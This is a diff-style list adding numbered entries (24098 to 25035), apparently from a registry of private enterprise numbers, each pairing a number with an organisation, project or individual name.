+24098 Southwest Youth Collaborative
+24099 Hosanna Christian Academy
+24100 LogiSoft AR Ltd, Inc.
+24101 Banyan Tree Hotels & Resorts Pte Ltd
+24102 Aeris Enterprises Inc.
+24103 DIR Wieslawa Rozynek
+24104 Lennar Corporation
+24105 di-Cross
+24106 Damovo do Brasil S/A
+24107 xkoto Inc.
+24108 UAB "Eltera"
+24109 Luix
+24110 Vigilix. LLC
+24111 Optivus Technology, Inc.
+24112 Shorter College
+24113 Netzbiotop Dresden e.V.
+24114 City of Tulsa
+24115 Ginix
+24116 68k.se
+24117 Idera
+24118 artemis-design GbR
+24119 eSimone
+24120 JSDAAV INTERNET SOLUTIONS CC
+24121 Centro Nacional de Infromación y Comunicación Educativa
+24122 Brodersen Controls A/S
+24123 Sparkasse Haslach-Zell
+24124 Aqon Ltd.
+24125 OceanLake Asia Pte Ltd.
+24126 Junxion, Inc.
+24127 UUHosting.Net
+24128 Casino Arizona
+24129 International Road Dynamics Inc.
+24130 Oneformatics
+24131 thePlatform for Media, Inc
+24132 zyp.org
+24133 Calassa Labs Ltd
+24134 Torex Retail Solutions GmbH
+24135 Smartcom-Bulgaria AD
+24136 Schur Pack Danmark a/s
+24137 Optimum Computing Solutions
+24138 JSC TaxNet
+24139 RFK International
+24140 VoiceObjects AG
+24141 T-2, d.o.o.
+24142 Bunya Technology Pty Ltd
+24143 MallNet Ltd.
+24144 Mobillion BV
+24145 ECS GmbH
+24146 Zone Systems
+24147 Ex Libris Ltd.
+24148 DATALAB DO BRASIL LTDA
+24149 Milestone Systems A/S
+24150 TIM BRASIL
+24151 Inforsis Informatica y Formacion, SL
+24152 OTA Management LLC
+24153 Defense Finance and Accounting Service
+24154 Moog Components Group
+24155 Mission Hopitals
+24156 Intelliant
+24157 Spectrum Signal Processing, Inc.
+24158 Landstar System Holdings, Inc.
+24159 Neureol Technologies Private Limited
+24160 Cool IP
+24161 MLL Telecom Limited
+24162 CareWorks vof
+24163 SUPERMEDIA Internet Provider
+24164 KBOSS.hu Kft.
+24165 Digi-Sign Limited
+24166 Centro de Estudos e Sistemas Avançados do Recife
+24167 WEYCO, INC
+24168 GMAC
+24169 Sunsetbrew Inc.
+24170 Motricity, Inc.
+24171 8e6 Technologies
+24172 Tenaska Power Services, Co
+24173 Rho, Inc.
+24174 Institutional Shareholder Services, Inc.
+24175 SILVER SERVER GmbH
+24176 Comgate Engineering Ltd.
+24177 Tivit S.A.
+24178 Stillwater Medical Center Authority
+24179 Ministerie van Binnenlandse Zaken en Koninkrijksrelaties
+24180 Tgusta.com C.A
+24181 Fri-Jado B.V.
+24182 SRH
+24183 Vimio PLC
+24184 MEDNET Service für Ärzte AG
+24185 Kvalix Automatika Kft.
+24186 Netsol Network Solutions Oy
+24187 LambdaStream
+24188 Mail Object
+24189 Cain Computing
+24190 Distributed Systems Services, Inc.
+24191 Digital Fugue
+24192 trial-n-error
+24193 Strandbygaard
+24194 Mary Kay Inc.
+24195 i5k.net
+24196 OSEB NV
+24197 Colliers Turley Martin Tucker
+24198 Netcordia, Inc.
+24199 Primagraphics Ltd
+24200 Quality Software Solutions Ltd.
+24201 Adrenio GmbH
+24202 MIKRONIKA
+24203 Wellington Technology, Inc.
+24204 Randolph Products Company
+24205 JUPITER TECHNOLOGY(WUXI)CO.,LTD
+24206 EGROUP Services Ltd.
+24207 Deimos-Space S.L.
+24208 Cystelcom Sistemas S.A.
+24209 MWare CZ, s.r.o.
+24210 ComWorth Co.,Ltd.
+24211 Solent Technology Ltd.
+24212 Conexim Australia Pty Ltd
+24213 Oxford Health Plans, Llc. (subsidiary of UnitedHealth Group)
+24214 Mount Holyoke College Computer Science Department
+24215 Reed Technology and Information Services, Inc.
+24216 uptime software inc.
+24217 j-buzz, LLC
+24218 Metaweb Technologies, Inc.
+24219 nuBridges, LLC
+24220 Marcelo Rinesi
+24221 Donorware LLC
+24222 Resolute Networks Ltd.
+24223 Fabryka Stron Internetowych Sp. z o.o.
+24224 Southern Regional Education Board
+24225 Formula Telecom Solutions
+24226 Braxcomm Eletrônica Ltda.
+24227 Negeso Ukraine Ltd
+24228 HOT Technology
+24229 arvato technology GmbH
+24230 Verint Systems Canada Inc.
+24231 GUFI - Gruppo Utenti FreeBSD Italia
+24232 6th Sense Software, Inc.
+24233 Ikatu
+24234 VuCOMP
+24235 Hannum Computer Service
+24236 NStudioCorp
+24237 ResourceChain Inc.
+24238 PACLABS Technology and Innovation, Inc.
+24239 V-shine Co., Ltd
+24240 TongSoft Tech.
+24241 Accucast, Inc.
+24242 SimWorks International Limited
+24243 Amrita Institute of Medical Sciences
+24244 IntroMobile CO., Ltd
+24245 OSS Corporaton
+24246 MGP "Mosvodokanal"
+24247 Bettge
+24248 Stockway Oy
+24249 Clinique Saint-Luc (Bouge)
+24250 MATRICE SYSTEM S.A.S.
+24251 Banca24-7 S.p.A.
+24252 ESG GmbH
+24253 Systems Trust Co., Ltd.
+24254 C4 Solutions Oy
+24255 Outpost24 AB
+24256 Deutsche WertpapierService Bank AG
+24257 Idtect
+24258 Ministry of the Flemish Community
+24259 Achilles Information Limited
+24260 VIELAGE
+24261 Mobeon AB
+24262 TEAM S.A
+24263 up to data professional services GmbH
+24264 Neusta GmbH
+24265 The British Museum
+24266 Infoscope Kft.
+24267 Directory Enabled Solutions
+24268 Opendium Ltd
+24269 CR2 LTD
+24270 S3 Srl Servizi Soluzioni Sistemi
+24271 Nessus Internet Services Florian Schicker
+24272 Università della Svizzera italiana
+24273 nihilistic.org.uk
+24274 Beyond Security Inc.
+24275 IUT Verdun
+24276 Universidad de Oriente
+24277 Tiaxa do Brasil Ltda.
+24278 Università Campus Bio-Medico
+24279 LDAP Administration Console (opensource project)
+24280 HdL Coren & Cone
+24281 Family Health International
+24282 StackFrame, LLC
+24283 dns Ltd
+24284 wesde
+24285 Novax Industries Corporation
+24286 HumanConcepts
+24287 Telex Communication Inc.
+24288 BHMS Webhosting
+24289 HotFeet GmbH
+24290 Datorföreningen vid LU & LTH
+24291 E-Planit Systems, Inc.
+24292 BRAKKE SCHAFNITZ INS BROKERS INC
+24293 Toyota New Zealand Ltd
+24294 Air Broadband Communications
+24295 Pickwick Consulting
+24296 DENSO WAVE INCORPORATED
+24297 Sonic Solutions
+24298 Freudenberg Dichtungs- & Schwingungstechnik GmbH & CoKG
+24299 go4teams GmbH
+24300 Wotif
+24301 stj company
+24302 Network constructor, Core Constructor , Kun Shan University
+24303 Pegacat Pty Ltd
+24304 ArgusConnect Pty LTD
+24305 INBOS Pty LTD
+24306 3 Vias Technologies
+24307 Activesec S.A.
+24308 Media & Telecom Ventures
+24309 Terrascale Technologies Inc.
+24310 Medical Information Technology, Inc.
+24311 SunHELP
+24312 Identity Automation, LP
+24313 TiendaLinux.com
+24314 What Creek
+24315 Fatih University
+24316 IT bridge.net s.r.o.
+24317 torrini.org
+24318 InTouch B.V.
+24319 VOCONS IT Consulting GmbH
+24320 ELVAC
+24321 NetMagic Ltd.
+24322 Petastor, Inc.
+24323 Deephaven Ltd
+24324 Electric-Tronics Incorporated
+24325 OGL Computer Services Group Ltd
+24326 Exsys
+24327 Estacha Proyectos y Servicios
+24328 Spirit AeroSystems, Inc.
+24329 Lixil
+24330 In Reach Technology
+24331 Evolix
+24332 Hardware Online AS
+24333 FH Ingolstadt
+24334 EADS DS UK Ltd
+24335 Storewiz Inc.
+24336 ATM Express, Inc.
+24337 Monster Cable Products Inc.
+24338 Situs Management Inc.
+24339 ADLINK TECHNOLOGY INC.
+24340 Macalester College
+24341 Pontis Inc.
+24342 FIO Labs, LLC
+24343 Rokonet Electronics LTD.
+24344 eSPECTRUM Internet-Solution GmbH
+24345 Xsite GmbH
+24346 Adaway Consulting
+24347 Magicpot Inc.
+24348 GPTech GmbH
+24349 Frank Agerholm
+24350 Sensoria Corporation
+24351 Linux Network Care Inc
+24352 Alpha Centauri Software Limited
+24353 Media Technology Systems Inc.
+24354 secscend LLC
+24355 Lemon I.T. Co., Ltd.
+24356 Solinus, Inc.
+24357 CD-Telematika a. s.
+24358 Nomics
+24359 Deutsche Rentenversicherung Mitteldeutschland
+24360 Transmitton Ltd
+24361 InnovaSON
+24362 Duquesne University
+24363 Super Star enterprises
+24364 ON Semiconductor
+24365 Constellation Energy
+24366 gui.org
+24367 Somerdata Ltd
+24368 Paat Software
+24369 Medem, Inc.
+24370 Chang Cheng Information consultant Co., LTD
+24371 London Business School
+24372 Exiis Corporation
+24373 information unlimited
+24374 Life Sciences Collaborative Access Team
+24375 Aleksandar Milivojevic
+24376 Landeshauptstadt Muenchen
+24377 Nassauische Sparkasse
+24378 Kizoom Ltd
+24379 Tracewell Power
+24380 certegy
+24381 Joachim Uhr
+24382 CH2M HILL, Ltd.
+24383 Orange Cable Corporation
+24384 Caerus, Inc.
+24385 CryptGuard
+24386 NSSLGlobal Technologies AS (formerly 'STM Networks, Inc')
+24387 Software-Engineering Fabiani
+24388 Washington State Bar Association
+24389 Suzhou Keda Technology Company, Ltd.
+24390 IRI Communications, Inc.
+24391 DoremiLabs, inc.
+24392 Flexagonal Systems Ltd
+24393 Office National des Forets
+24394 Concurrent Technologies Plc.
+24395 Datamat S.p.a.
+24396 Xinjiang Sailing Information Technology Co., Ltd
+24397 Libertas Solucoes em T.I. LTDA
+24398 Espirito Santo Centrais Eletricas S.A
+24399 Telsource Corporation
+24400 TNS Business Solutions S.A.
+24401 Kanton Basel-Stadt
+24402 Omgeo LLC
+24403 Ministerio da Cultura
+24404 DroidOS Project
+24405 TC Software, Inc
+24406 Dynamic Biometrics Ltd.
+24407 OnAir USA, Inc.
+24408 Video Technics Inc.
+24409 Rising System Inc.
+24410 WHEEL Sp. z o.o.
+24411 Multi Service Forum
+24412 Bundesamt für Verbraucherschutz und Lebensmittelsicherheit
+24413 University of Cambridge, Department of Archaeology
+24414 CORE CORPORATION
+24415 Unimatrix-One
+24416 NC Interactive
+24417 Infoweapons Corporation
+24418 Infinico Corporation
+24419 Red Crow Group LLC
+24420 European Airlift Centre
+24421 Roweb Development
+24422 Information Management Services
+24423 Xtek Computer
+24424 IDSRDL
+24425 Monksoft
+24426 Metavize, Inc
+24427 Coyote Point Systems, Inc
+24428 Nusoft System Inc.
+24429 Mangold Elektronik
+24430 Red Earth Systems AB
+24431 ACCEL Instruments GmbH
+24432 UIIP NASB
+24433 Yunet International D.O.O.
+24434 Ohio Bureau of Workers' Compensation
+24435 Ubitech Systems Inc
+24436 Power Distribution, Inc.
+24437 Deightime, LLC
+24438 OAO RoEduNet
+24439 JBG/Development Group, L.L.C.
+24440 Xsigo Systems
+24441 oddbit.com
+24442 smartx GmbH
+24443 Colby Sas
+24444 UniBridge AS
+24445 Carsten Heinrici
+24446 TILIAR Services
+24447 St Basil's Homes
+24448 WEB.DE GmbH
+24449 Ketsujin Studios
+24450 AlphaGeek, Inc.
+24451 Transitional Data Services, Inc.
+24452 AXI
+24453 Bank Hapoalim ltd.
+24454 Schenker-Joyau
+24455 Isotoma Limited
+24456 CODA Plc
+24457 BWMS Soluções Móveis Ltda
+24458 Wise Telecomunicações Ltda.
+24459 Saskatchewan Wheat Pool Inc.
+24460 Fortean Technologies, Inc.
+24461 Advanced Solutions International, Inc.
+24462 E-Sauce Limited
+24463 Banco de Costa Rica
+24464 First Citizens Bank
+24465 BELNET
+24466 move.L consulting
+24467 walkgame
+24468 LK PRODUKT CZ a.s.
+24469 University of Leeds
+24470 Boston Maine Airways Corp.
+24471 Omniphasic Institute LLC
+24472 University of Virginia's College at Wise
+24473 NetMedia, Inc.
+24474 Jacobacci
+24475 Optena Corporation
+24476 Server-side Systems Ltd
+24477 eenterphace
+24478 megatrade corp.
+24479 E.ON Business Services Czech Republic s.r.o.
+24480 oncampusuk
+24481 Warsaw Data Center Sp. z o.o.
+24482 Light Backup Services
+24483 ISO New England Inc.
+24484 Advanced Broadcast Components Ltd.
+24485 webmasters akademie GmbH
+24486 Micromedia International
+24487 Bulletproof Solutions Inc
+24488 United Solutions International
+24489 brut
+24490 The Phone House Telecom GmbH
+24491 Asociación Centro de Cooperación Interbancaria
+24492 Consorzio Torino Time
+24493 Safend Ltd.
+24494 Extra Prof S.R.L.
+24495 comundus Unternehmensberatung GmbH
+24496 Western Telematic Inc.
+24497 KMD.COM.TW
+24498 Interprise (Pty) Ltd
+24499 European Aviation Safety Agency
+24500 MorkoM GmbH
+24501 Green Hat Consulting Ltd.
+24502 Wandering Barque
+24503 ICONICS, Inc.
+24504 CENTRÃL Mosodák Szolgáltató Részvénytársaság
+24505 Emerging Systems
+24506 Osaki Electric co.,ltd.
+24507 Peadar Grant
+24508 StagniNET
+24509 Commonwealth of Massachusetts
+24510 SHANGHAI SIMED TECH LTD.
+24511 FlowInspect SpA
+24512 Beijing Hugeland Technologies co.,Ltd.
+24513 Finnish Game and Fisheries Research Institute
+24514 Rivulet Communications, Inc.
+24515 ROC Software Systems, Inc.
+24516 Conair Corporation
+24517 LTIA
+24518 Great-West Life & Annuity Insurance Company
+24519 Trustwave Holdings, Inc. (formerly 'XRamp Security Services Inc.')
+24520 Tokash Consulting Inc.
+24521 SupplyFX, Inc
+24522 PT. Excelcomindo Pratama, Tbk.
+24523 infeurope S.A.
+24524 RheinEnergie AG
+24525 Twisted Pair Solutions, Inc.
+24526 St James the Great R.C Primary & Nursery School
+24527 commax Co.,Ltd.
+24528 ProgramDuon AB
+24529 Systembetreuung.com
+24530 Universidade Federal do Amazonas
+24531 Metis Communication Co., Ltd
+24532 Intelliguard I.T.
+24533 Akvi-Patent Co.
+24534 Gordano Ltd
+24535 MD Systems
+24536 DAS
+24537 NNMI
+24538 Morning
+24539 IST Holdings (Pty) Ltd.
+24540 Betty TV Entwicklungs GmbH
+24541 Beijing GrandRole Software Co.,Ltd.
+24542 Albert-Einstein-Gymnasium
+24543 Black Eyed Moon
+24544 JSC "Eltel"
+24545 Ursus Technologies, Inc.
+24546 ServerCave, Inc.
+24547 Linux Users Group Singapore
+24548 OutSys snc
+24549 Triple-m Systems AG
+24550 edoras GmbH & Co. KG
+24551 CPU d.o.o.
+24552 GÉANT
+24553 Prompttec Product Management GmbH
+24554 Church of the Nazarene
+24555 RACKMASTER SYSTEMS INC.
+24556 Starwave Technologies,Inc.
+24557 Obcanske sdruzeni HKfree
+24558 Arcade ICT BV
+24559 Net Tecnologies
+24560 inode GmbH
+24561 Celletra Ltd.
+24562 Bridge Technologies Co AS
+24563 Kerfi AB Avdelning Norge
+24564 HOLON Corp.
+24565 Yuba Community College District
+24566 koreanair
+24567 YIT Corporation
+24568 DawnSpill Ltd.
+24569 directnews AG
+24570 OpenWired
+24571 uniwan.be
+24572 Totaltel Telecommunication Ltd.
+24573 Massachusetts Board of Library Commissioners
+24574 Opsera Ltd.
+24575 Tranzeo Wireless Technologies Inc.
+24576 HL7 Lithuania
+24577 Tosharecomu LLC
+24578 IDSignet
+24579 Australian Style Pty Ltd
+24580 TietoEnator Broadcasting IT Oy
+24581 Zemp Informatik
+24582 credativ GmbH
+24583 Guerrier
+24584 Nagoya University
+24585 Cassiano Morgado de Aquino - ME
+24586 BA Systems
+24587 Judson College
+24588 Automatic IT Corporation
+24589 Redoc Inc.
+24590 Bristol Technology Inc.
+24591 Marchex, Inc.
+24592 Brazos County, Texas
+24593 Think Zone S.C.
+24594 MYOB Australia E1 Pty Ltd (formerly 'Ilisys Web Hosting Pty Ltd')
+24595 safari video networks llc.
+24596 Ascent Technology, Inc.
+24597 NRW.BANK
+24598 NC Cable Pty Ltd t/as Neighbourhood Cable
+24599 Downey Savings and Loan Association, F.A.
+24600 EDI Branch,Shanghai Telecom Corporation Ltd.
+24601 Premicare AB
+24602 Siemens Com EN PSY DB
+24603 Peavey Electronics Corporation
+24604 CosmosKey
+24605 Owl Computing Technologies, Inc.
+24606 The People's Republic of Ames
+24607 Drystone
+24608 Centre hospitalier de Lagny Marne la vallée
+24609 R. S. Software (India) Ltd.
+24610 gemeentebestuur sint-gillis-waas
+24611 Baptist Memorial Health Care Corporation
+24612 Fujitsu Hong Kong Ltd.
+24613 Kingston University
+24614 Jakota Design Group GmbH
+24615 b.comp GmbH
+24616 CROSSPOiNT
+24617 NMS Software, Inc.
+24618 BOXALINO AG
+24619 MOSDAN Technology Co.,Ltd
+24620 Tecnosis, S.A.
+24621 Tazz Networks Inc.
+24622 netCo GmbH Hamburg
+24623 Samsung Thales Co., Ltd.
+24624 EuroCableLabs
+24625 Luxcore Optronics, Inc.
+24626 Lime Brokerage LLC
+24627 Vitas
+24628 CXR Larus Corporation
+24629 Telio AS
+24630 Skinkers ltd
+24631 mediaproxy pty ltd
+24632 CorEdge Networks, Inc.
+24633 Toyo Radio Systems Co.,Ltd.
+24634 Ericpol Telecom sp. z o.o.
+24635 ALPS Electric Europa GmbH
+24636 XPass Technologies Co., Ltd
+24637 NETWAVE CO., LTD.
+24638 JotSpot Inc.
+24639 Elecom scsi
+24640 Nova Technologies
+24641 Allodial Solutions, Inc.
+24642 University of Sarajevo - Faculty of Electrical Engineering
+24643 Cedval Info inc.
+24644 Applied Broadband, Inc.
+24645 e-DMZ Security, LLC.
+24646 Fonner
+24647 "NTC-Atlas"
+24648 SL EDV-Dienstleistungen
+24649 MainSkill Technologies GmbH&Co.KG
+24650 Control Systems srl
+24651 RongJi Network Security Technology Co., Ltd
+24652 Everbee Networks
+24653 Studec
+24654 NPO TrustGear
+24655 Applied Broadband, Inc.
+24656 Pre-Emptive Limited
+24657 TCSYS Limited
+24658 intivo
+24659 Caringo, Inc.
+24660 Rapid Mobile (Pty) Ltd
+24661 WM-data Infra Solutions AB
+24662 Digital Instruments S.r.l.
+24663 Norventure Ltda.
+24664 Delaware Technical and Community College
+24665 BytePark
+24666 Camelcom
+24667 Atlanta Technical Consultants, LLC
+24668 Quay Security Ltd.
+24669 Beijing Mobile Interactive Co. LTD.
+24670 Gemini Observatory
+24671 Vienna University
+24672 Watkins MFG Inc.
+24673 ServerEngines LLC
+24674 Linzer Technikum - LITEC
+24675 Nordh Sistemas de Controle Ltda
+24676 Applied Voice & Speech Technologies, Inc.
+24677 NexGen Communications, LLC.
+24678 Oklahoma City University
+24679 China Sports Lottery Printing(Beijing) Co. Ltd.
+24680 Bradmark Technologies, Inc.
+24681 QNAP SYSTEMS, INC
+24682 SAT
+24683 Hutchison Drei Austria GmbH
+24684 Helsinki Business Polytechnic
+24685 Omada A/S
+24686 PROFIBUS Nutzerorganisation e.V.
+24687 Integrated Broadband Services, LLC
+24688 C. & H. Euser Transport B.V.
+24689 WAR Ink
+24690 Japan Communication Equipment Co.,Ltd.
+24691 Beijing GoodMedia Co. LTD.
+24692 Ask Jeeves (Hangzhou) Limited
+24693 Firebrick Ltd.
+24694 Technische Universiteit Eindhoven
+24695 Prodemge - Companhia de Tecnologia da Informação do Estado de Minas Gerais
+24696 Falkin Systems LLC
+24697 Canal de Isabel II
+24698 WH Trading, LLC
+24699 AGB Nielsen Media Research
+24700 Prolon Control Systems
+24701 Spitzenverbände der landwirtschaftlichen Sozialversicherung
+24702 CLS Services Ltd
+24703 Sven Meyer IT-Services
+24704 Landesoberbehoerde IT Baden-Wuerttemberg (BITBW) (formerly 'Informatikzentrum Landesverwaltung Baden-Württemberg')
+24705 Clal Insurance Ltd
+24706 RW Consulting
+24707 Computation Systemhaus GmbH
+24708 University of PISA
+24709 North York General Hospital
+24710 OPSOFT s.r.o.
+24711 MLK - ST informatique
+24712 Waterstone Environmental Hydrology and Engineering, Inc.
+24713 Grammofonartistenes forening
+24714 Intesis Software S.L.
+24715 Beijing Langhua Ltd.
+24716 Start Stelcom Ltd Corp
+24717 Berg-BSP
+24718 Pierre Bruyère
+24719 Cyberview Technology Ltd
+24720 Thales Training & Simulation Ltd
+24721 Svisj
+24722 Kef Solutions Inc.
+24723 SOS GmbH
+24724 Aluria Software
+24725 Australian Technology Information Pty Ltd
+24726 USHER
+24727 CleanOffer, Inc.
+24728 pythea
+24729 AutoGas Systems, Inc.
+24730 Audible Magic Corp.
+24731 Beijing Kexin Technology Co. Ltd
+24732 Universität Bayreuth - RZ
+24733 Summit Computer Systems, Inc.
+24734 cintech
+24735 Gunnebo AB
+24736 Narcommunications
+24737 ION R-D Elektronika Bt.
+24738 Cablecom GmbH
+24739 Slaski Urzad Wojewodzki
+24740 ARFWorks
+24741 MDT Inc.
+24742 Danish Ministry of the Environment
+24743 Memorex Telex Japan Ltd.
+24744 a2 system
+24745 TVWorks
+24746 Oberto Sausage Company
+24747 Capella Education Company
+24748 TPSA LTD.
+24749 Scrutable Systems, Inc.
+24750 Unassigned
+24751 Cluster-Works GbR
+24752 SyncIO oHG
+24753 SSC Publications Inc.
+24754 SIRCA Ltd
+24755 Satellite Music Australia Pty Limited
+24756 PARTAD
+24757 WiMAX Forum
+24758 Brightwire Media
+24759 Panacya Inc
+24760 ILS Technology LLC
+24761 Euro/IP B.V.
+24762 Smart and Final Stores Corporation
+24763 rrothos.com
+24764 IRIS Corp Bhd
+24765 Aylus Networks, Inc.
+24766 Spiceberry
+24767 NOX SYSTEMS AG
+24768 Pott & Körner
+24769 Acronis, Inc.
+24770 IZALL.COM Ltd.
+24771 Intercooperation
+24772 SolidX AB
+24773 SG GENIKI BANK S.A.
+24774 World Health Organization
+24775 Aviareto Limited
+24776 Brasil Telecom S/A
+24777 Ingenious Corporation Ltd.
+24778 TenXc Wireless Inc.
+24779 SeaNet Technologies, Inc.
+24780 SBIN Systems
+24781 A.F.P.B.T.P. du Calvados
+24782 TetraNed
+24783 Wola Info S.A.
+24784 Logintas AG
+24785 Luganda Group, Inc
+24786 AsteriskAD.com
+24787 TU Dresden, Chair of Road Design
+24788 Itilon Pty Ltd
+24789 Teletech d.o.o.
+24790 Handmade Mobile Entertainment
+24791 InZon Corp
+24792 Red Oxygen Pty Ltd
+24793 GSTeletech Co.,Ltd.
+24794 Federated Department Stores
+24795 blue elephant systems GmbH
+24796 Bundesärztekammer
+24797 IMSEC GmbH
+24798 data-complex gmbh
+24799 App-Line
+24800 Apogee Network Systems & Consulting, LLC
+24801 MTI co. LTD
+24802 Saratoga Systems, Inc
+24803 nu.org
+24804 Akorri Networks, Inc.
+24805 Bankoa Credit Agricole
+24806 Tern Systems Inc.
+24807 RISO KAGAKU CORPORATION
+24808 EODP Section ( For Testing Only)
+24809 Manic Productions
+24810 Innerspace Ltd.
+24811 Robatech AG
+24812 tribaldi GmbH
+24813 chellomedia services Ltd
+24814 Yinhoo Software Inc.
+24815 Golzari IT-Consultancy
+24816 Asoka USA Corporation
+24817 TuVox Inc
+24818 Micro Industries Inc.
+24819 CARDIONICS SA
+24820 Oskarshamns Konverterings AB
+24821 Elbit Systems Deutschland GmbH & Co. KG
+24822 Instituto Nacional de Estadistica
+24823 Amey Datel
+24824 NightStorm Software Systems, Inc.
+24825 Creighton University
+24826 Weyerhaeuser
+24827 Bieles Stano
+24828 Speedway Internet Service SC LTDA
+24829 Estacado Systems, LLC
+24830 THOTT Solutions
+24831 Sirit Technologies Inc.
+24832 Mi5 Inc.
+24833 Eliteitminds Technologies Inc.
+24834 KAT Project
+24835 University of Ostrava
+24836 Johannes Kapune GbR
+24837 Sobha Renaissance Information Technology Private Limited
+24838 Danbury Health Systems
+24839 Universidade Federal Fluminense
+24840 David Ross
+24841 Red [E] Entertainment Group
+24842 Gravitime
+24843 Halier
+24844 Petroleum Convenience Alliance for Technology Standards, Inc.
+24845 JSC institute "Promstrojniiproject"
+24846 Scivo Technology Co. Ltd.
+24847 International Criminal Court - Cour Penale Internationale
+24848 bollcons
+24849 ELITNET, Ltd.
+24850 Mercantile Network Brasil, Ltda.
+24851 Hillsborough Community College
+24852 Phihong USA
+24853 Komerccentrs DATI grupa
+24854 Pacific Star Communications
+24855 Sensonxi Inc.
+24856 MDS Pharma Services
+24857 VECTORsgi
+24858 Vendetta Performance Limited
+24859 Shanghai PONX technology com.,Ltd.
+24860 tosker.net
+24861 StudyStack
+24862 Qualimedic.com AG
+24863 MTI Technology GmbH
+24864 Link GmbH
+24865 Cramer Systems Ltd
+24866 Hans Turck GmbH & Co. KG
+24867 Goldsmiths College, University of London
+24868 Technoface Corporation
+24869 KLab Inc.
+24870 ZE PAK SA
+24871 Webroot Software, Inc.
+24872 H-D-H
+24873 Procesamiento Digital y Sistemas, S.L.
+24874 GO Networks, Inc.
+24875 Andxor Soluzioni Informatiche S.r.l.
+24876 Atlas Advanced Internet Solutions Ltd.
+24877 Informatica y Comunicaciones Avanzadas, S.L.
+24878 Mercurio Comunicaciones
+24879 Gi Gesundheitsinformatik GmbH
+24880 DIRECCION DE IMPUESTOS Y ADUANAS NACIONALES
+24881 CERIST
+24882 Alcatel Japan Ltd.
+24883 Vertigo Media, LLC
+24884 Toneware Technology co. Ltd.
+24885 Banca Intesa AD Beograd
+24886 Eigil Bjørgum
+24887 Parlamento de Galicia
+24888 Malden Electronics Ltd.
+24889 IB Technologies Sdn. Bhd.
+24890 Extant Solutions
+24891 Instituto Tecnológico y de Estudios Superiores de Occidente A.C.
+24892 Great Atlantic and Pacific Tea Company, Inc.
+24893 GE Intelligent Platforms, Inc.
+24894 PantheraNet
+24895 Medifacts International Inc.
+24896 Microdental Laboratories
+24897 Indel Industria Eletronica Ltda
+24898 d&b audiotechnik GmbH & Co. KG
+24899 Agama Technologies AB
+24900 Aurora Networks (GoBackTV)
+24901 Future Infonet
+24902 Astech Corporation
+24903 Corporación Politécnica Nacional de Colombia
+24904 Skyrecon Systems SA
+24905 Nextsense Ltd
+24906 Electronic Solutions Ltd.
+24907 Infopact Netwerkdiensten B.V.
+24908 Stored IQ, Inc.
+24909 Secure-24, LLC
+24910 OOO "ElitStudio"
+24911 Foxbyte Ltd
+24912 ASELSAN INC.
+24913 Cook Group Incorporated
+24914 WSOFT, Lda.
+24915 iG Internet Group do Brasil Ltda
+24916 Essent Corporation
+24917 Intermedix Corporation (formerly 'Collaborative Fusion, Inc.')
+24918 Radmer
+24919 Web Wizard Design
+24920 Our Help Desk
+24921 MAINDATA, spol. s r.o.
+24922 VoX Communications, Inc.
+24923 Shodor Education Foundation, Inc
+24924 Unicentrix Solutions
+24925 Jordet
+24926 LAIKA, Inc.
+24927 Exegy, Inc.
+24928 WaterEd Australia Pty Ltd
+24929 vt100 digital solutions
+24930 synedra information technologies GmbH
+24931 Mixed Signals, Inc.
+24932 Mcomms Design
+24933 angel bosch
+24934 ISCG Ltd.
+24935 TetraNed
+24936 Snecma Propulsion Solide, Groupe SAFRAN
+24937 Universal Display and Fixtures Company
+24938 Technolabs S.p.A.
+24939 qpass
+24940 Department of Computer Science, National Chiao Tung University
+24941 EMKA Technologies SA
+24942 Kyle Fox DBA DigitalFennec Networks
+24943 Rigpa
+24944 Kreuzinger IT-Trilogie
+24945 ParaSun Technologies Inc.
+24946 Corredoira Abogados
+24947 Shanalyst Corporation
+24948 Mitsubishi Materials Corporation
+24949 Sentillion, Inc
+24950 Uniform Industrial Corp.
+24951 Industrial Video and Control, LLC
+24952 Cool Bananas Limited
+24953 Numachi
+24954 Mobile Complete
+24955 SyncCast
+24956 Innovative Electronic Designs, Inc.
+24957 Onoclea
+24958 Ascent Media Group
+24959 Pankerl - Media
+24960 The Sip-router Project (formerly 'iptel.org')
+24961 Tail-f Systems AB
+24962 Atlantic Harbour Limited
+24963 SiliconVortex
+24964 Shanghai Qianjin Electronic Equipment Co.,ltd
+24965 Picdar Technology Limited
+24966 Greenwich Hospital
+24967 EPCON Sp. z o.o.
+24968 Beijing SecuWard Information Security Technology Co.,Ltd
+24969 Wharfe Electronic Data Ltd
+24970 InterWay, s.r.o.
+24971 GIDE LOYRETTE NOUEL
+24972 Lipman Electronic Engineering Ltd
+24973 Guilin Jharden Communication CO., LTD
+24974 Lootah
+24975 WINGS Ltd.
+24976 OmegaSphere Inc.
+24977 Sxip Identity
+24978 Martin Henschke Geraetebau
+24979 madpilot.net
+24980 CERVICEM
+24981 Amex Information Technologies Ltd.
+24982 Fiebig+Team GmbH
+24983 Tod Lewin
+24984 Kestral Computing Pty Ltd
+24985 Xeround Systems
+24986 Bjørn Ruberg konsulenttjenester
+24987 Ortiva Wireless Inc.
+24988 Singh Travels
+24989 Synalogic e.K.
+24990 Bluestem Ltd.
+24991 CardContact Software & System Consulting
+24992 Toko University
+24993 MySQL, Inc.
+24994 nabios GmbH
+24995 Integratech S.A.
+24996 SAFE Health
+24997 Cirrologic Ltd
+24998 SBA Technologies, Inc
+24999 VATSIM.net
+25000 ConSol Consulting & Solutions Software GmbH
+25001 Codra Ingenierie Informatique
+25002 VistiC Ltd.
+25003 SQUILD
+25004 AEGON Magyarorszag Rt.
+25005 sevecek
+25006 NVision Czech Republic a.s. (formerly 'SITRONICS Telecom Solutions, Czech Republic a.s.')
+25007 Precesamiento Digital y Sistemas S.L.
+25008 I.T.E.N.O.S. GmbH
+25009 Sysworksoft
+25010 Bedag Informatique SA
+25011 Cranite Systems Inc.
+25012 Minux Bt.
+25013 RS Consulting
+25014 Visimetrics (UK) Ltd
+25015 2PM Technologies Ltd
+25016 Vizrt/Ardendo AB
+25017 CertSign
+25018 Proxyconn Ukraine
+25019 ProfiTrade 90 Ltd.
+25020 MobilMail Ltd.
+25021 Devon County Council
+25022 Medox Exchange, Inc.
+25023 Cyberspace Technology Corporation Ltd.
+25024 Auriga
+25025 Concentrum, Inc.
+25026 Linear Equipamentos Eletrônicos S.A.
+25027 Billerud AB
+25028 WebService Sp. z o.o.
+25029 Antek Healthware LLC
+25030 Ward-Beck Systems
+25031 Network Orange Inc
+25032 DACI Comércio e Serviços de Equipamentos de Informática Ltda.
+25033 Naztec, Inc.
+25034 Dima Ltda.
+25035 JINAN DEAN COMPUTER TECHNOLOGY CO LTD
